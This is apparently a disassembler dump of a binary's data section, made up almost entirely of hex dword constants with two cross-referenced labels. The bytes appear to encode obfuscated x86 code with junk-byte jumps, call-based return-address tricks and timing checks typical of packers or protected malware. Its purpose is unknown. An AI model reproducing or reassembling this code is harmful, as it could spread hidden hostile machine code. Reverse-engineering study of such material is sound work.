		dd 1604h, 0C3534300h, 0E963807Eh, 14h, 82283978h, 442DA3C8h
		dd 0DDC30CABh, 11EE3548h, 5BD03FD6h, 0BC59D89h,	13E90648h
		dd 6A000002h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 346BC357h, 5CD2CD33h, 0BE8h, 42324500h
		dd 0DEB41713h, 0F2DEEE78h, 2BED9D8Bh, 8B5B0648h, 4BB68185h
		dd 0C777B706h, 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 36571DD2h, 819D8B6Ah
		dd 8B06480Dh, 4BB685B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 758529FFh, 8B064815h
		dd 481A8585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 4C65E55Dh, 7D12DA9Ch, 68929BCh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A9C35242h, 0C1E2A608h
		dd 119D8B7Eh, 8B06482Fh, 48115985h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 55890EB4h
		dd 0BD3367A2h, 648297Dh, 0A0F38166h, 44689E2h, 525096FCh
		dd 0BBD18B60h, 3901DDF3h, 0BF310F61h, 642AEBBDh, 8B50585Ah
		dd 9D8B96FEh, 6483081h,	0B681B5FFh, 6A064Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 1B54DC3h
		dd 4815799Dh, 0B9BD0106h, 68064810h, 0F73FC1C4h, 0B860Fh
		dd 52500000h, 18BB310Fh, 5A61EF52h, 24048158h, 8DF423Bh
		dd 1181BD8Bh, 9D8B0648h, 648063Dh, 0B689858Dh, 6A064Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0E92DE6C3h, 7FBC4B97h, 81F9BF0Fh, 8AA5F8E7h,	67BF9022h
		dd 5046A5DDh, 6D0DBF66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 80F84431h, 95FF38EBh
		dd 6480741h, 0EE8h, 18EBE900h, 6FCF33CEh, 0FD345D2Eh, 8B3BBDB0h
		dd 480445BDh, 6A615B06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0A1AAC356h,	0F78166C2h
		dd 85C731A1h, 6482AD9h,	3, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 1EC35545h, 0BD8320CFh, 64BB689h, 5D840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 4079C355h, 55699DEDh, 860F2502h
		dd 6, 18599D03h, 44E90648h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 123CC353h
		dd 6800Fh, 0B5290000h, 6480A19h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0D3F1C355h,	6ACCE47Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0A6DEC351h, 9424068h, 0F1EB81E7h,	89001DD2h
		dd 481CE195h, 0BE806h
		dd 30680000h, 0EE3B8BCCh, 0D115117Fh, 0D9D78126h, 5F4C2894h
		dd 2AD9BD83h, 0F030648h, 4CC85h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 2C1B8C19h
		dd 0F6A37B46h, 28F0Fh, 0DC8A0000h, 0B689BD83h, 0F00064Bh
		dd 49484h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 89B5FF1Dh, 6A064BB6h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E89AC351h
		dd 0Bh,	86B28B85h, 0F56EEF38h, 5BA9D1EEh, 35BD0B56h, 5F064813h
		dd 9F595FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 66F78BC3h, 85895A58h, 6482779h
		dd 0B67DB58Bh, 0C7F5064Bh, 1000106h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C6FCCB68h
		dd 1AF848FAh, 0DE9D0B0h, 0D6000000h, 58E8B570h,	0A04B8B3Ch
		dd 422F62A5h, 13E950h, 9B760000h, 48877A4Ch, 0EAE498FFh
		dd 4BA77F94h, 964B61ACh, 24348999h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 1CC35343h, 0EDDF8166h, 89B5FFDAh
		dd 6A064BB6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0B5FAC352h, 898F6C6Ah,	0C79601C4h
		dd 4459D8Bh, 95FF0648h,	6480061h, 11E9h, 759E0000h, 390474CDh
		dd 0AE246E5Ch, 72BC90BBh, 0B58B08DAh, 64BB67Dh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0A5C35141h, 0B5895269h
		dd 6482E79h, 25858B5Fh,	6A06480Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 2D5DC350h
		dd 5870Fh, 0A8BB0000h, 8954B164h, 0C486h, 95895300h, 64813D9h
		dd 5958B5Bh, 6A064814h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 7A27C356h, 0D58BF6C0h
		dd 0BBEFEB80h, 4B1EA0FEh, 6A04C283h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0A28CC357h
		dd 89A13DB8h, 482C3195h, 20508906h, 2A87BBBFh, 0D4858D65h
		dd 8B064BCAh, 0B88689FAh, 0F000000h, 68Bh, 199D8B00h, 6A064831h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0DE957D6h, 9B000000h, 847995DEh,	0F0B0FA5Eh
		dd 66E7F531h, 11E9h, 0A51BB300h, 0A1B3928Bh, 5EC7A169h
		dd 0D976FCDBh, 0B5FF304Ch, 64BB689h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 9CC35747h, 526E620Ah, 8A0F10B1h
		dd 14h,	8E8h, 0B9DD3A00h, 52D90494h, 418D8902h,	5F064814h
		dd 88D0Fh, 850F0000h, 2, 95FF5B53h, 6480051h, 1C259D33h
		dd 0E9500648h, 11h, 0C283E288h,	769463C8h, 538FD6A1h, 0A6418DABh
		dd 243489D9h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	3FC35242h, 0BD8B5F9Ch, 6482B51h, 0B689B5FFh, 6A064Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 680FFCC3h, 126D9D8Bh, 95FF0648h, 6481429h, 31A9BD83h
		dd 0F000648h, 3C84h, 96B4B300h,	310F5250h, 5050585Ah, 0BF665752h
		dd 0F5FFDD7h, 2830F31h,	51000000h, 96585A5Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8CC35747h, 89B5FFBBh
		dd 9064BB6h, 4806D59Dh,	0FD95FF06h, 6A064813h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0C487C353h, 8953D9F7h, 4823B1B5h, 89B5FF06h,	6A064BB6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0A0F6C355h, 0B464C426h, 0DFD8589h, 95FF0648h
		dd 648177Dh, 97D38166h,	1DBD831Dh, 206482Fh, 58840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8E968C3h, 8000000h, 6224A240h, 8BDA7DB8h, 48155185h
		dd 819D8906h, 0C6064807h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0D4D7ADC3h, 85C72C4Dh
		dd 64816E1h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1C35646h
		dd 566A37F5h, 8B7CCC73h, 481049BDh, 0F1D1E906h,	6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8BB0C3h, 6480DB9h, 0F60C18Bh, 28Ch, 81585600h, 115224DFh
		dd 858D616Eh, 6481255h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 3DC35141h, 13E9A695h,	58000000h, 0F694E312h
		dd 17049A77h, 48BBC66Fh, 11377253h, 0F60659Dh, 684h, 659D8B00h
		dd 0E8064807h, 7, 0DFAD6283h, 9FE1D63h,	4822E1BDh, 90615E06h
		dd 0BE9h, 0E61ADE00h, 0DFF242CBh, 0B47B31DEh, 50606050h
		dd 5A310F52h, 61616058h, 9E9h, 1B94D600h, 8F0C9754h, 90617F29h
		dd 6AD8BF0Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 82CF10ADh, 659382B5h, 6AFC6Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 7BC35141h, 8D5CDF40h
		dd 4CD6A985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 83F88BC1h, 0FD8A05C0h, 5007B790h
		dd 14E9h, 0D8BFB000h, 0EC7A0B3Ch, 0DEC0D249h, 8D120AACh
		dd 8F3662C2h, 6A90B3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0B3C35545h, 752C8061h, 0F35BD8Bh, 0BB660648h
		dd 6E848A4h, 72000000h,	233587EDh, 6A5B1Ah, 0F88B66FCh
		dd 2B2D95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 1CFE5C3h, 4EDB006Fh, 852B601Dh
		dd 6481AA9h, 1A99D8Bh, 8D610648h, 4B99388Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 476ADED6h, 0E8B0D893h, 0Ch, 41A50910h, 97668C0Eh, 0BF883F3Eh
		dd 0A119501h, 0FF5B0648h, 0D38166D1h, 0BD83FDFEh, 64830E5h
		dd 9F850F01h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0BADC355h, 0EEF97C55h
		dd 76C3814Dh, 6A616FBBh, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D8B9CB2h, 6482731h, 24048950h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 2EC35646h
		dd 5195FFh, 6A0648h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1D0424h, 50400000h, 104F0CC3h, 0C75646B1h, 0FAC51FDh
		dd 0BB66F9B7h, 50E9EE4Ah, 0E800000Fh, 0
		dd 0B3ED815Dh, 6A064CD6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0E569C350h,	0BE97289h
		dd 4C000000h, 0D39F0C07h, 0D078A008h, 0CB816C3Ah, 226CE22Ah
		dd 93DA858Dh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 397F06C3h, 5C41E3D5h, 29577496h
		dd 482F91BDh, 52505006h, 0CE9h,	0CA9C5C00h, 9ED13D28h
		dd 80972854h, 8B310F42h, 89585AD8h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0BAF30EC3h
		dd 0BD8B709Bh, 6483119h, 64F88B66h, 35FFh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 886E18C3h, 64C30D04h, 2589h,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 203801C3h
		dd 51D0806h, 1AD185FFh,	6A0648h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 83995EC3h, 0F575D543h
		dd 1C358589h, 0FF6A0648h, 10B99D2Bh, 0B5FF0648h, 6480C99h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2FC35242h
		dd 0C16901C1h, 0FFEACDBBh, 4810D995h, 0DBE906h,	81660000h
		dd 0B03B02C3h, 0E6D98A00h, 79B58970h, 0E406481Ch, 29858971h
		dd 3C064802h, 0BA830F61h, 66000000h, 0B60FD98Bh, 9850FC8h
		dd 0F000000h, 381h, 0FABF0F00h,	0BAD9B70Fh, 6, 8529C18Bh
		dd 6481A5Dh, 8B04E8C1h,	0E2F766DAh, 8C34CF81h, 2EBB0FE2h
		dd 2B47CAACh, 0E99D8BC8h, 8B064805h, 73E9D1h, 0BB660000h
		dd 9D295515h, 6480945h,	4858Bh,	9D330000h, 6482AD1h, 8307C083h
		dd 0D03B00C0h, 17830Fh,	9D8B0000h, 6482C21h, 44E9h, 68B0F00h
		dd 89000000h, 48070585h, 0FF8D8B06h, 60FFFFFFh,	31B19D89h
		dd 2B50648h, 1E18361h, 1F840Fh,	0BB660000h, 0A5833735h
		dd 0FFFFFFFFh, 0FFB70FFEh, 49589h, 9D2B0000h, 6481341h
		dd 0E9h, 0F2B58D00h, 8B064C52h,	48031DBDh, 0FF006A06h
		dd 48092D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 6AAF83E5h, 870FC2FEh, 9, 63E98160h
		dd 0FC1C0C44h, 1120B961h, 57570000h, 2FEDBD03h,	5F5B0648h
		dd 6AFCE183h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0EDF8C350h, 0C19D09FCh, 2B06482Fh
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 597542B4h, 10E8BB97h, 0EB000000h, 0B96020C2h
		dd 0D32E0DB1h, 43D60DE9h, 231F79FEh, 4804C99Dh,	9D315B06h
		dd 6480B31h, 6AD22Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0F9FA91C3h, 11E9h, 3DFA5D00h, 140AE6FBh
		dd 25F0048Dh, 53FF100h,	33AD2CB9h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 2E8848C3h, 0B1A956E0h, 9D8BF41Dh,	6482F31h
		dd 14E8h, 7B992600h, 6292881Ch,	33D49D66h, 17E15EEDh, 0F5D794C2h
		dd 899501ADh, 5B06480Dh, 880Dh,	0BD8D0100h, 8B064811h
		dd 48140595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 705737D8h, 0AD54394Ch, 258D8B51h
		dd 6A064830h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 4C21C350h, 65217918h, 50653100h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	0E19D8B58h
		dd 6A064810h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8B82C350h, 4820359Dh, 0D9BF0F06h
		dd 12FDBD83h, 0F000648h, 7484h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0CABB3872h
		dd 0D19D8B9Dh, 0B806482Eh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 66C35545h
		dd 898B9486h, 4830318Dh, 808D8D06h, 6006484Eh, 2B91B509h
		dd 66610648h, 0FFBE72BBh, 0BE9E1h, 99190000h, 0F1ED4C04h
		dd 7C2BD2E2h, 0D9BD8377h, 6482Ah, 4A1840Fh, 95890000h
		dd 6482989h, 2AD9BD83h,	0F010648h, 4A984h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 98D741ACh, 0AACCA14Ch, 0BD8302F5h, 6482AD9h,	41860F03h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0F9EAC355h, 14E8861Ch,	2D000000h
		dd 59481168h, 16A136ECh, 3EDCF751h, 90A6D696h, 8105C6B1h
		dd 993527DFh, 6A605B31h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0EC5CC351h,	2941BD03h
		dd 8C660648h, 0CBBB66D9h, 4E180B3h, 2A419589h, 0C90A0648h
		dd 188840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0F324B9C3h, 59858B68h, 6A064811h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 526C356h,	81666BEAh, 334924F3h, 48121985h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 38BA3E98h, 921874BFh, 0BDBD031Dh, 50064815h
		dd 89FB8B66h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0BDBEE4C3h, 0CCD9D29h, 66536BDDh
		dd 6A5FDE8Bh, 8E900h, 931F0000h, 3588B510h, 4E84B2Eh, 0FF000000h
		dd 0F001F03h, 884h, 2840F00h, 60000000h, 8A605061h, 925EBBD8h
		dd 8B612C79h, 0B7042444h, 0E8008B38h, 9, 0A5C996BBh, 0AD206501h
		dd 60525065h, 66310F61h, 5AC4DEBBh, 44895B58h, 6A580424h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 2F2AC357h, 19BFF7FAh, 0DE8BCD40h,	74195FFh
		dd 0BD8B0648h, 64827FDh, 0B6898589h, 6A064Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0C2433AC3h
		dd 6549B908h, 503811F8h, 20DE95Bh, 6A0000h
		db 57h,	0E8h
word_587256	dw 3			; DATA XREF: ___:off_42AFECo
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 624131C3h, 7D782333h, 858BDE8Bh, 64BB681h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 13C35646h, 7FB3D0C7h
		dd 0BCDB1E4Ch, 1800C7h,	81660000h, 8B3E35D7h, 4BB685B5h
		dd 0BFFE8B06h, 2AA6D48Eh, 1A85858Bh, 0BF0F0648h, 6A0689F9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 9838C351h, 14DA3687h, 0BD03E3DDh,	6480F81h
		dd 1159858Bh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 668F43C3h, 898CC2BFh, 50F80446h
		dd 2830Fh, 0DF8B0000h, 29243489h, 4813A1BDh, 81B5FF06h
		dd 6A064BB6h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 1FA3C352h, 88B51093h, 664B2E35h
		dd 0AF56DB81h, 1830Fh, 0E8F50000h, 4, 1F03FFh, 14E95250h
		dd 0A5000000h, 0FEA14E57h, 4C68524Fh, 4E647691h, 1C134150h
		dd 0F260CA0h, 2BB5131h,	5B0E3D20h, 6050585Ah, 0AE8h, 0DA900900h
		dd 0EBD2A22Eh, 8BAD972Bh, 8B6658CBh, 448B61D1h,	0EE80424h
		dd 0A5000000h, 24692AF1h, 105CFB23h, 0F207E2E4h, 6424BFD2h
		dd 8B5F4A81h, 0F88B6600h, 4244489h, 12E9h, 2AE0F200h, 20E04872h
		dd 8CD68CDEh, 0DB55084Eh, 587F594Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0D0C35343h,	0BF10365Dh, 6A37E301h
		dd 0B689858Dh, 6A064Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 77DA2BC3h, 0EDF8014Eh, 0BB66F745h
		dd 9D8B053Bh, 6482EF9h,	89DE8B50h, 9EBB2404h, 9626920h
		dd 480035BDh, 4195FF06h, 0F064807h, 689h, 95BD8900h, 61064831h
		dd 4518529h, 85C70648h,	6482AD9h, 3, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0F0C35343h,	0CFE5FF8Bh, 9D896F01h
		dd 64808B1h, 0B689BD83h, 0F00064Bh, 0F84h, 42BB6600h, 21E9B6h
		dd 0EF810000h, 46A3277Ah, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 175EC353h, 9FA4159h
		dd 2715B74Fh, 9D01DF8Bh, 6481385h, 2ED99D8Bh, 95890648h
		dd 6480599h, 2AD9BD83h,	0F030648h, 53E85h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0FB2F517Eh, 0AE90B88h, 51000000h, 0B52220B4h, 0F594F822h
		dd 0BE9514Ch, 0D5000000h, 0FF8BF08Ah, 6F01CFE5h, 835BDB00h
		dd 4BB689BDh, 840F0006h, 4EFh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0A8C35141h,	0A16E23A9h, 8B66961Eh
		dd 0B8D781FBh, 0FF7EB201h, 4BB689B5h, 0DE806h, 17320000h
		dd 0E4914A1Dh, 2DA9DA9Dh, 80278022h, 0FF5FDDDFh, 4809F595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 20B77436h, 4443E44Fh, 0B589BBF1h, 6483311h
		dd 0B67DB58Bh, 6C7064Bh, 10001h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 15h, 98C35343h, 800F96BCh, 4, 7E9ABF66h
		dd 0E0BB6650h, 6A96DEh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 943161C3h, 5E66A5DCh, 0FC8ADE24h
		dd 0B689B5FFh, 81F5064Bh, 29476ADFh, 6195FF4Ah,	6A064800h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 79DBC356h, 0ADE21A12h, 3BC0955Fh,	6830Fh
		dd 8D890000h, 6481549h,	0B67DB58Bh, 6A064Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 81C01BC3h
		dd 17F02684h, 0EE8h, 0A9443B00h, 0E018BD67h, 66A36B90h
		dd 338653FCh, 480A2D9Dh, 0BD895B06h, 64817A1h, 0F25858Bh
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 5F00D3C3h, 27A594Eh, 0C4868924h, 0E9000000h
		dd 11h,	34DED881h, 0E9FC2464h, 0C692E480h, 395096A0h, 5958B90h
		dd 6A064814h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0DC5C353h, 335DBD8Bh, 0B5090648h
		dd 6482BD5h, 0B04C283h,	481B15BDh, 20508906h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FEC35343h, 0DE9FE24h
		dd 8A000000h, 0C4736E45h, 823B5FD3h, 149BDEE9h,	0CAD4858Dh
		dd 6A064Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0A0C7A3C3h, 0A3565A01h, 0BD8BF7E3h, 64822C5h
		dd 2BBDBD8Bh, 86890648h, 0B8h, 6AFB8B66h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 3363B50Dh, 0E5847EB2h, 0FE8E6h, 0C5660000h, 41C9764h
		dd 0B1848A21h, 7DCC0212h, 4FF38006h, 1D8D315Bh,	0FF064828h
		dd 4BB689B5h, 0A5BD8906h, 0F064828h, 80h, 5195FF00h, 6A064800h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 8521C352h, 8DE7521Ch, 9D8B5745h, 64808B1h
		dd 0DE950h, 353B0000h, 9E835E7Fh, 476ADED6h, 5FB0D893h
		dd 0F36DBB96h, 0E8501486h, 0Ch,	7DA71181h, 0A9DBB13Fh
		dd 9635604Ch, 5BF0B753h, 6A965Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 14A51AC3h, 0BF94C4D6h
		dd 23AEA24Ah, 0FFFB8B66h, 4BB689B5h, 0E9FA8B06h, 10h, 0F1C840AEh
		dd 70412F77h, 21A1FBF6h, 9A9762BDh, 142995FFh, 6A0648h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 830CAAC3h, 4831A9BDh, 840F0006h, 41h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 78C35545h, 8BD88B69h
		dd 0DE896D8h, 0E3000000h, 1ACD6BBAh, 81A906F3h,	0A6DF0AD3h
		dd 0D486BB66h, 8196505Fh, 0F6B801EFh, 89B5FF65h, 6A064BB6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 7705C355h, 8FC1F563h, 1A2E0294h, 13FD95FFh
		dd 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 7AAA2BC3h, 72E78175h, 999BD03h, 0B5FF0648h
		dd 64BB689h, 13959D8Bh,	95FF0648h, 648177Dh, 38A0Fh, 0EF800000h
		dd 1DBD8315h, 206482Fh,	62840Fh, 0BD8B0000h, 6481289h
		dd 1551858Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 26CDBFC3h, 146E4CEFh, 0C6829081h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0D812B7C3h, 0EBA5BB19h, 68E0Fh, 0DB810000h
		dd 78F1EC2Ah, 16E185C7h, 648h, 6A0000h,	3E855h,	5D200000h
		db 0C3h, 5Dh
word_587A56	dw 6C89h		; DATA XREF: ___:off_42C440o
		dd 44810424h, 1D0424h, 55450000h, 75612EC3h, 9A5281C6h
		dd 60B17351h, 41F9C881h, 0AE908FAh, 0FC000000h,	2E55EDC8h
		dd 6E88082Bh, 1BB6178h,	0E933F6C9h, 0FFFFF212h,	0CE8h
		dd 0A984C200h, 0AFABC5A7h, 0B2B82162h, 45BD8945h, 5B064805h
		dd 0CE9C18Bh, 41000000h, 376DADF8h, 5E826ED2h, 8DE57128h
		dd 48125585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0FC1CA08Ch, 5E890h, 3D360000h, 0FBE655Fh
		dd 28Fh, 5F5F5100h, 0D98B6650h,	52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 5E8C46B7h
		dd 598D89B2h, 6A064830h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 6F419464h, 66CB95C0h
		dd 6A8A18BBh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0A29ACDEBh, 38D97A06h, 0AB858DC8h
		dd 6A064CE8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 807CC355h, 1B53BFF1h, 95BD0305h
		dd 89064819h, 4814F9B5h, 5C08306h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 99C35141h, 0D7F63480h, 0DBF6677h
		dd 9E9508Dh, 0A4000000h, 449DD6CFh, 3005241Bh, 0F240489h
		dd 68Dh, 0ED858900h, 6A064832h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 6AD1D69Bh
		dd 1BD2B00h, 0FF06481Fh, 482B2D95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0BFD2F998h
		dd 7DA3A321h, 0EDE78166h, 388D8D99h, 6A064B99h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0AC1CC352h, 2C1A7CA0h, 57609B37h, 840Fh, 665A0000h
		dd 615E88BAh, 0E381D1FFh, 690B54F0h, 30E5BD83h,	0F010648h
